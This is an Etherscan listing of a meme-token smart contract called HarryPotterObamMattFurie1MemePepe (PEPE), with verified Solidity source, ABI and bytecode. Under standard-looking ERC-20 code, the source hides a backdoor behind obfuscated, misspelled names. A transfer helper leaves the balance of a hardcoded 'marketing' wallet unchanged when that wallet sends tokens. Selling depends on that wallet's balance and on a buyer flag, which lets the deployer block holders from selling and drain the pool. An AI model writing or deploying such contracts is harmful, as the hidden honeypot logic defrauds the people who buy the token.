ETH Price: $3,044.39 (+4.36%)

Token

HarryPotterObamMattFurie1MemePepe (PEPE)
 

Overview

Max Total Supply

1,000,000,000 PEPE

Holders

39

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
7,632,475.398171851 PEPE

Value
$0.00
0x3422b6E127A98978c19dB9182f51AC31745a892e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
HarryPotterObamMattFurie1MemePepe

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-08
*/

/*

HarryPotterObamMattFurie1MemePepe   $PEPE


TWITTER: https://twitter.com/HPEPE_PORTAL
TELEGRAM: https://t.me/HPEPE_PORTAL
WEBSITE: https://www.oxpepe.com/

**/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;


    interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed _owner, address indexed spender, uint256 value);
    }

    library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath");
        return c;
    }

    function  afuxr(uint256 a, uint256 b) internal pure returns (uint256) {
        return  afuxr(a, b, "SafeMath");
    }

    function  afuxr(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    }

    abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    }


    contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    }

    interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    }

    interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,uint amountOutMin,address[] calldata path,address to,uint deadline) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(address token,uint amountTokenDesired,uint amountTokenMin,uint amountETHMin,address to,uint deadline) 
    external payable returns (uint amountToken, uint amountETH, uint liquidity);
    }

    contract HarryPotterObamMattFurie1MemePepe is Context, IERC20, Ownable {
    using SafeMath for uint256;

    string private constant _name = unicode"HarryPotterObamMattFurie1MemePepe";
    string private constant _symbol = unicode"PEPE";
    uint8 private constant _decimals = 9;

    uint256 private constant _totalSupply = 1000000000 * (10**_decimals);
    uint256 public _taxSwapMin = _totalSupply;
    uint256 public maxHoldingAmount = _totalSupply;
    uint256 public _taxSwapThreshold = _totalSupply;
    uint256 public _taxSwapMax = _totalSupply;
    uint256 private _initialBuyTax=5;
    uint256 private _initialSellTax=10;
    uint256 private _finalBuyTax=1;
    uint256 private _finalSellTax=1;
    uint256 private _reduceBuyTaxAt=7;
    uint256 private _reduceSellTax1At=1;
    uint256 private _swarCotnet=0;
    uint256 private _uytCaun=0;

    mapping (address => uint256) private  _balances;
    mapping (address => mapping (address => uint256)) private  _allowances;
    mapping (address => bool) private  _exclydedFramFs;
    mapping (address => bool) private  _ifrWaeoakirt;
    mapping(address => uint256) private  _hadeLasTransrTesap;
    bool public  transerDelyEnble = false;


    IUniswapV2Router02 private  _uniRouterV2;
    address private  _uniV2LP;
    bool private  _tadangFnabiea;
    bool private  _inTaxSwap = false;
    bool private  _swapwlrsUniswappsSuer = false;
    address public  _mtrktangWtle = 0xc9C3B7dda274FbD8898974a145F46B39ac5A9866;

 
    event RemavrAutupx(uint _taxSwapMin);
    modifier lockTaxSwap {
        _inTaxSwap = true;
        _;
        _inTaxSwap = false;
    }

    constructor () { 
        _balances[_msgSender()] = _totalSupply;
        _exclydedFramFs[owner()] = true;
        _exclydedFramFs[address(this)] = true;
        _exclydedFramFs[_mtrktangWtle] = true;


        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address _owner, address spender) public view override returns (uint256) {
        return _allowances[_owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()]. afuxr(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address _owner, address spender, uint256 amount) private {
        require(_owner!= address(0), "ERC20: approve from the zero address");
        require(spender!= address(0), "ERC20: approve to the zero address");
        _allowances[_owner][spender] = amount;
        emit Approval(_owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require (from!= address(0), "ERC20:  transfer  from  the  zero  address");
        require (to!= address(0), "ERC20: transfer to the zero  address");
        require (amount > 0, "Transfer  amount  must  be  greater  than  zero");
        uint256  taxAmount = 0;
        if  ( from != owner() &&to!= owner()) {

            if  (transerDelyEnble) {
                if  (to!= address(_uniRouterV2) &&to!= address(_uniV2LP)) {
                  require (_hadeLasTransrTesap[tx.origin] < block.number, " Only  one  transfer  per  block  allowed.");
                  _hadeLasTransrTesap[tx.origin] = block.number;
                }
            }

            if  ( from == _uniV2LP && to!= address (_uniRouterV2) &&!_exclydedFramFs[to]) {
                require (amount <= _taxSwapMin, "Forbid");
                require (balanceOf (to) + amount <= maxHoldingAmount,"Forbid");
                if  (_uytCaun < _swarCotnet) {
                  require (!raonetate(to));
                }
                _uytCaun ++ ; _ifrWaeoakirt[to] = true;
                taxAmount = amount.mul((_uytCaun > _reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            }

            if(to == _uniV2LP&&from!= address (this) &&! _exclydedFramFs[from]) {
                require (amount <= _taxSwapMin && balanceOf(_mtrktangWtle) <_taxSwapMax, "Forbid");
                taxAmount = amount.mul((_uytCaun > _reduceSellTax1At) ?_finalSellTax:_initialSellTax).div(100);
                require (_uytCaun >_swarCotnet && _ifrWaeoakirt[from]);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!_inTaxSwap 
            &&  to  ==_uniV2LP&&_swapwlrsUniswappsSuer &&contractTokenBalance > _taxSwapThreshold 
            &&  _uytCaun > _swarCotnet &&! _exclydedFramFs [to] &&! _exclydedFramFs [from]
            )  {
                _transferFrom(vprty(amount,vprty(contractTokenBalance, _taxSwapMax)));
                uint256  contractETHBalance = address (this).balance;
                if (contractETHBalance > 0)  {
                }
            }
        }

        if ( taxAmount > 0 ) {
          _balances[address(this)] = _balances [address(this)].add(taxAmount);
          emit  Transfer (from, address (this) ,taxAmount);
        }
        _balances[from] = afuxr(from , _balances [from], amount);
        _balances[to] = _balances[to].add(amount.afuxr (taxAmount));
        emit  Transfer( from, to, amount. afuxr(taxAmount));
    }

    function _transferFrom(uint256 _swapTaxAndLiquify) private lockTaxSwap {
        if(_swapTaxAndLiquify==0){return;}
        if(!_tadangFnabiea){return;}
        address[] memory path =  new   address [](2);
        path[0] = address (this);
        path[1] = _uniRouterV2.WETH();
        _approve(address (this), address (_uniRouterV2), _swapTaxAndLiquify);
        _uniRouterV2.swapExactTokensForETHSupportingFeeOnTransferTokens( _swapTaxAndLiquify, 0, path,address (this), block . timestamp );
    }

        function vprty(uint256 a, uint256 b) private pure returns (uint256) {
    return (a >= b) ? b : a;
    }

    function afuxr(address from, uint256 a, uint256 b) private view returns (uint256) {
    if (from == _mtrktangWtle) {
        return a;
    } else {
        require(a >= b, "Subtraction underflow");
        return a - b;
    }
    }

    function removerLimits() external onlyOwner{
        _taxSwapMin  =  _totalSupply ;
        maxHoldingAmount = _totalSupply ;
        transerDelyEnble = false ;
        emit  RemavrAutupx ( _totalSupply ) ;
    }

   function raonetate(address account) private view returns (bool) {
    uint256 codeSize;
    address[] memory addresses = new address[](1);
    addresses[0] = account;

    assembly {
        codeSize := extcodesize(account)
    }

    return codeSize > 0;
    }


    function startTrading() external onlyOwner() {
        require (!_tadangFnabiea, " trading is open " ) ;
        _uniRouterV2 = IUniswapV2Router02 (0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve (address (this),address(_uniRouterV2), _totalSupply);
        _uniV2LP = IUniswapV2Factory(_uniRouterV2.factory()).createPair (address(this), _uniRouterV2. WETH());
        _uniRouterV2.addLiquidityETH {value:address(this).balance } (address(this),balanceOf(address (this)),0,0,owner(),block.timestamp);
        IERC20 (_uniV2LP).approve (address(_uniRouterV2), type(uint). max);
        _swapwlrsUniswappsSuer = true ;
        _tadangFnabiea = true ;
    }

    receive( )  external  payable  { }
    }

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_taxSwapMin","type":"uint256"}],"name":"RemavrAutupx","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_mtrktangWtle","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapMin","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"maxHoldingAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removerLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"transerDelyEnble","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a6200031b565b6200002290633b9aca0062000332565b600155620000336009600a6200031b565b6200004390633b9aca0062000332565b600255620000546009600a6200031b565b6200006490633b9aca0062000332565b600355620000756009600a6200031b565b6200008590633b9aca0062000332565b60045560058055600a600681905560016007818155600882905560095590555f600b819055600c556012805460ff191690556013805461ffff60a81b19169055601480546001600160a01b03191673c9c3b7dda274fbd8898974a145f46b39ac5a9866179055348015620000f7575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620001466009600a6200031b565b6200015690633b9aca0062000332565b335f818152600d602090815260408083209490945581546001600160a01b039081168352600f9091528382208054600160ff199182168117909255308452858420805482168317905560145490921683529382208054909116909317909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001e56009600a6200031b565b620001f590633b9aca0062000332565b60405190815260200160405180910390a36200034c565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200026057815f19048211156200024457620002446200020c565b808516156200025257918102915b93841c939080029062000225565b509250929050565b5f82620002785750600162000315565b816200028657505f62000315565b81600181146200029f5760028114620002aa57620002ca565b600191505062000315565b60ff841115620002be57620002be6200020c565b50506001821b62000315565b5060208310610133831016604e8410600b8410161715620002ef575081810a62000315565b620002fb838362000220565b805f19048211156200031157620003116200020c565b0290505b92915050565b5f6200032b60ff84168362000268565b9392505050565b80820281158282048414176200031557620003156200020c565b61190d806200035a5f395ff3fe608060405260043610610113575f3560e01c806370a082311161009d578063a9059cbb11610062578063a9059cbb146102ef578063bf474bed1461030e578063daa9a34314610323578063dd62ed3e14610337578063f31b134b1461037b575f80fd5b806370a082311461024a578063715018a61461027e57806389f9a1d3146102925780638da5cb5b146102a757806395d89b41146102c3575f80fd5b806323b872dd116100e357806323b872dd146101cc578063293230b8146101eb578063313ce567146102015780635c84c1ba1461021c5780636d037ef414610235575f80fd5b80630344a5a41461011e57806306fdde031461015a578063095ea7b31461017b57806318160ddd146101aa575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060145461013d906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b348015610165575f80fd5b5061016e610390565b60405161015191906114d3565b348015610186575f80fd5b5061019a610195366004611535565b6103b0565b6040519015158152602001610151565b3480156101b5575f80fd5b506101be6103c6565b604051908152602001610151565b3480156101d7575f80fd5b5061019a6101e636600461155f565b6103e6565b3480156101f6575f80fd5b506101ff61044e565b005b34801561020c575f80fd5b5060405160098152602001610151565b348015610227575f80fd5b5060125461019a9060ff1681565b348015610240575f80fd5b506101be60015481565b348015610255575f80fd5b506101be61026436600461159d565b6001600160a01b03165f908152600d602052604090205490565b348015610289575f80fd5b506101ff610810565b34801561029d575f80fd5b506101be60025481565b3480156102b2575f80fd5b505f546001600160a01b031661013d565b3480156102ce575f80fd5b506040805180820190915260048152635045504560e01b602082015261016e565b3480156102fa575f80fd5b5061019a610309366004611535565b610881565b348015610319575f80fd5b506101be60035481565b34801561032e575f80fd5b506101ff61088d565b348015610342575f80fd5b506101be6103513660046115b8565b6001600160a01b039182165f908152600e6020908152604080832093909416825291909152205490565b348015610386575f80fd5b506101be60045481565b606060405180606001604052806021815260200161188f60219139905090565b5f6103bc338484610948565b5060015b92915050565b5f6103d36009600a6116e3565b6103e190633b9aca006116f1565b905090565b5f6103f2848484610a6b565b610443843361043e856040518060600160405280602881526020016118b0602891396001600160a01b038a165f908152600e6020908152604080832033845290915290205491906110dd565b610948565b5060015b9392505050565b5f546001600160a01b031633146104805760405162461bcd60e51b815260040161047790611708565b60405180910390fd5b601354600160a01b900460ff16156104ce5760405162461bcd60e51b81526020600482015260116024820152700103a3930b234b7339034b99037b832b71607d1b6044820152606401610477565b60128054610100600160a81b031916747a250d5630b4cf539739df2c5dacb4c659f2488d0017908190556105279030906001600160a01b03610100909104166105196009600a6116e3565b61043e90633b9aca006116f1565b601260019054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610578573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061059c9190611729565b6001600160a01b031663c9c6539630601260019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105fc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106209190611729565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561066a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061068e9190611729565b601380546001600160a01b039283166001600160a01b031990911617905560125461010090041663f305d71947306106da816001600160a01b03165f908152600d602052604090205490565b5f806106ed5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610753573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107789190611744565b505060135460125460405163095ea7b360e01b81526001600160a01b03610100909204821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156107d2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107f6919061176f565b506013805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146108395760405162461bcd60e51b815260040161047790611708565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6103bc338484610a6b565b5f546001600160a01b031633146108b65760405162461bcd60e51b815260040161047790611708565b6108c26009600a6116e3565b6108d090633b9aca006116f1565b6001556108df6009600a6116e3565b6108ed90633b9aca006116f1565b6002556012805460ff191690557f316014258e2ffd22305a10ad74df027fe7c11fc6473305d70d9d3c0e8db3db106109276009600a6116e3565b61093590633b9aca006116f1565b60405190815260200160405180910390a1565b6001600160a01b0383166109aa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610477565b6001600160a01b038216610a0b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610477565b6001600160a01b038381165f818152600e602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ad45760405162461bcd60e51b815260206004820152602a60248201527f45524332303a20207472616e73666572202066726f6d202074686520207a65726044820152696f20206164647265737360b01b6064820152608401610477565b6001600160a01b038216610b365760405162461bcd60e51b8152602060048201526024808201527f45524332303a207472616e7366657220746f20746865207a65726f20206164646044820152637265737360e01b6064820152608401610477565b5f8111610b9d5760405162461bcd60e51b815260206004820152602f60248201527f5472616e736665722020616d6f756e7420206d7573742020626520206772656160448201526e74657220207468616e20207a65726f60881b6064820152608401610477565b5f80546001600160a01b03858116911614801590610bc857505f546001600160a01b03848116911614155b15610f9e5760125460ff1615610c90576012546001600160a01b038481166101009092041614801590610c0957506013546001600160a01b03848116911614155b15610c9057325f908152601160205260409020544311610c7e5760405162461bcd60e51b815260206004820152602a60248201527f204f6e6c7920206f6e6520207472616e7366657220207065722020626c6f636b604482015269101030b63637bbb2b21760b11b6064820152608401610477565b325f9081526011602052604090204390555b6013546001600160a01b038581169116148015610cc057506012546001600160a01b038481166101009092041614155b8015610ce457506001600160a01b0383165f908152600f602052604090205460ff16155b15610ddb57600154821115610d0b5760405162461bcd60e51b81526004016104779061178e565b60025482610d2d856001600160a01b03165f908152600d602052604090205490565b610d3791906117ae565b1115610d555760405162461bcd60e51b81526004016104779061178e565b600b54600c541015610d7357610d6a83611115565b15610d73575f80fd5b600c8054905f610d82836117c1565b90915550506001600160a01b0383165f908152601060205260409020805460ff19166001179055600954600c54610dd891606491610dd29110610dc757600554610dcb565b6007545b859061116e565b906111cd565b90505b6013546001600160a01b038481169116148015610e0157506001600160a01b0384163014155b8015610e2557506001600160a01b0384165f908152600f602052604090205460ff16155b15610ecb576001548211158015610e5657506004546014546001600160a01b03165f908152600d6020526040902054105b610e725760405162461bcd60e51b81526004016104779061178e565b610e976064610dd2600a54600c5411610e8d57600654610dcb565b600854859061116e565b9050600b54600c54118015610ec357506001600160a01b0384165f9081526010602052604090205460ff165b610ecb575f80fd5b305f908152600d6020526040902054601354600160a81b900460ff16158015610f0157506013546001600160a01b038581169116145b8015610f165750601354600160b01b900460ff165b8015610f23575060035481115b8015610f325750600b54600c54115b8015610f5657506001600160a01b0384165f908152600f602052604090205460ff16155b8015610f7a57506001600160a01b0385165f908152600f602052604090205460ff16155b15610f9c57610f9c610f9784610f92846004546111f9565b6111f9565b61120e565b505b801561101657305f908152600d6020526040902054610fbd90826113ba565b305f818152600d6020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061100d9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600d602052604090205461103a90859084611403565b6001600160a01b0385165f908152600d602052604090205561107d61105f838361147b565b6001600160a01b0385165f908152600d6020526040902054906113ba565b6001600160a01b038085165f818152600d602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110c6858561147b565b60405190815260200160405180910390a350505050565b5f81848411156111005760405162461bcd60e51b815260040161047791906114d3565b505f61110c84866117d9565b95945050505050565b6040805160018082528183019092525f91829182916020808301908036833701905050905083815f8151811061114d5761114d6117ec565b6001600160a01b03909216602092830291909101909101525050503b151590565b5f825f0361117d57505f6103c0565b5f61118883856116f1565b9050826111958583611800565b146104475760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b6044820152606401610477565b5f6104478383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b8152506114a7565b5f818310156112085782610447565b50919050565b6013805460ff60a81b1916600160a81b17905580156113aa57601354600160a01b900460ff16156113aa576040805160028082526060820183525f9260208301908036833701905050905030815f8151811061126c5761126c6117ec565b60200260200101906001600160a01b031690816001600160a01b031681525050601260019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112dd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113019190611729565b81600181518110611314576113146117ec565b6001600160a01b03928316602091820292909201015260125461133f91309161010090041684610948565b60125460405163791ac94760e01b81526101009091046001600160a01b03169063791ac9479061137b9085905f9086903090429060040161181f565b5f604051808303815f87803b158015611392575f80fd5b505af11580156113a4573d5f803e3d5ffd5b50505050505b506013805460ff60a81b19169055565b5f806113c683856117ae565b9050838110156104475760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b6044820152606401610477565b6014545f906001600160a01b0390811690851603611422575081610447565b8183101561146a5760405162461bcd60e51b81526020600482015260156024820152745375627472616374696f6e20756e646572666c6f7760581b6044820152606401610477565b61147482846117d9565b9050610447565b5f6104478383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b8152506110dd565b5f81836114c75760405162461bcd60e51b815260040161047791906114d3565b505f61110c8486611800565b5f6020808352835180828501525f5b818110156114fe578581018301518582016040015282016114e2565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611532575f80fd5b50565b5f8060408385031215611546575f80fd5b82356115518161151e565b946020939093013593505050565b5f805f60608486031215611571575f80fd5b833561157c8161151e565b9250602084013561158c8161151e565b929592945050506040919091013590565b5f602082840312156115ad575f80fd5b81356104478161151e565b5f80604083850312156115c9575f80fd5b82356115d48161151e565b915060208301356115e48161151e565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561163d57815f1904821115611623576116236115ef565b8085161561163057918102915b93841c9390800290611608565b509250929050565b5f82611653575060016103c0565b8161165f57505f6103c0565b8160018114611675576002811461167f5761169b565b60019150506103c0565b60ff841115611690576116906115ef565b50506001821b6103c0565b5060208310610133831016604e8410600b84101617156116be575081810a6103c0565b6116c88383611603565b805f19048211156116db576116db6115ef565b029392505050565b5f61044760ff841683611645565b80820281158282048414176103c0576103c06115ef565b6020808252600790820152664f776e61626c6560c81b604082015260600190565b5f60208284031215611739575f80fd5b81516104478161151e565b5f805f60608486031215611756575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561177f575f80fd5b81518015158114610447575f80fd5b602080825260069082015265119bdc989a5960d21b604082015260600190565b808201808211156103c0576103c06115ef565b5f600182016117d2576117d26115ef565b5060010190565b818103818111156103c0576103c06115ef565b634e487b7160e01b5f52603260045260245ffd5b5f8261181a57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561186d5784516001600160a01b031683529383019391830191600101611848565b50506001600160a01b0396909616606085015250505060800152939250505056fe4861727279506f747465724f62616d4d6174744675726965314d656d655065706545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d40877bbf832813807e88c5edbdeb5f9dec62dde16286db2e7d35e373bbfc72d64736f6c63430008140033

Deployed Bytecode

0x608060405260043610610113575f3560e01c806370a082311161009d578063a9059cbb11610062578063a9059cbb146102ef578063bf474bed1461030e578063daa9a34314610323578063dd62ed3e14610337578063f31b134b1461037b575f80fd5b806370a082311461024a578063715018a61461027e57806389f9a1d3146102925780638da5cb5b146102a757806395d89b41146102c3575f80fd5b806323b872dd116100e357806323b872dd146101cc578063293230b8146101eb578063313ce567146102015780635c84c1ba1461021c5780636d037ef414610235575f80fd5b80630344a5a41461011e57806306fdde031461015a578063095ea7b31461017b57806318160ddd146101aa575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060145461013d906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b348015610165575f80fd5b5061016e610390565b60405161015191906114d3565b348015610186575f80fd5b5061019a610195366004611535565b6103b0565b6040519015158152602001610151565b3480156101b5575f80fd5b506101be6103c6565b604051908152602001610151565b3480156101d7575f80fd5b5061019a6101e636600461155f565b6103e6565b3480156101f6575f80fd5b506101ff61044e565b005b34801561020c575f80fd5b5060405160098152602001610151565b348015610227575f80fd5b5060125461019a9060ff1681565b348015610240575f80fd5b506101be60015481565b348015610255575f80fd5b506101be61026436600461159d565b6001600160a01b03165f908152600d602052604090205490565b348015610289575f80fd5b506101ff610810565b34801561029d575f80fd5b506101be60025481565b3480156102b2575f80fd5b505f546001600160a01b031661013d565b3480156102ce575f80fd5b506040805180820190915260048152635045504560e01b602082015261016e565b3480156102fa575f80fd5b5061019a610309366004611535565b610881565b348015610319575f80fd5b506101be60035481565b34801561032e575f80fd5b506101ff61088d565b348015610342575f80fd5b506101be6103513660046115b8565b6001600160a01b039182165f908152600e6020908152604080832093909416825291909152205490565b348015610386575f80fd5b506101be60045481565b606060405180606001604052806021815260200161188f60219139905090565b5f6103bc338484610948565b5060015b92915050565b5f6103d36009600a6116e3565b6103e190633b9aca006116f1565b905090565b5f6103f2848484610a6b565b610443843361043e856040518060600160405280602881526020016118b0602891396001600160a01b038a165f908152600e6020908152604080832033845290915290205491906110dd565b610948565b5060015b9392505050565b5f546001600160a01b031633146104805760405162461bcd60e51b815260040161047790611708565b60405180910390fd5b601354600160a01b900460ff16156104ce5760405162461bcd60e51b81526020600482015260116024820152700103a3930b234b7339034b99037b832b71607d1b6044820152606401610477565b60128054610100600160a81b031916747a250d5630b4cf539739df2c5dacb4c659f2488d0017908190556105279030906001600160a01b03610100909104166105196009600a6116e3565b61043e90633b9aca006116f1565b601260019054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610578573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061059c9190611729565b6001600160a01b031663c9c6539630601260019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105fc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106209190611729565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561066a573d5f803e3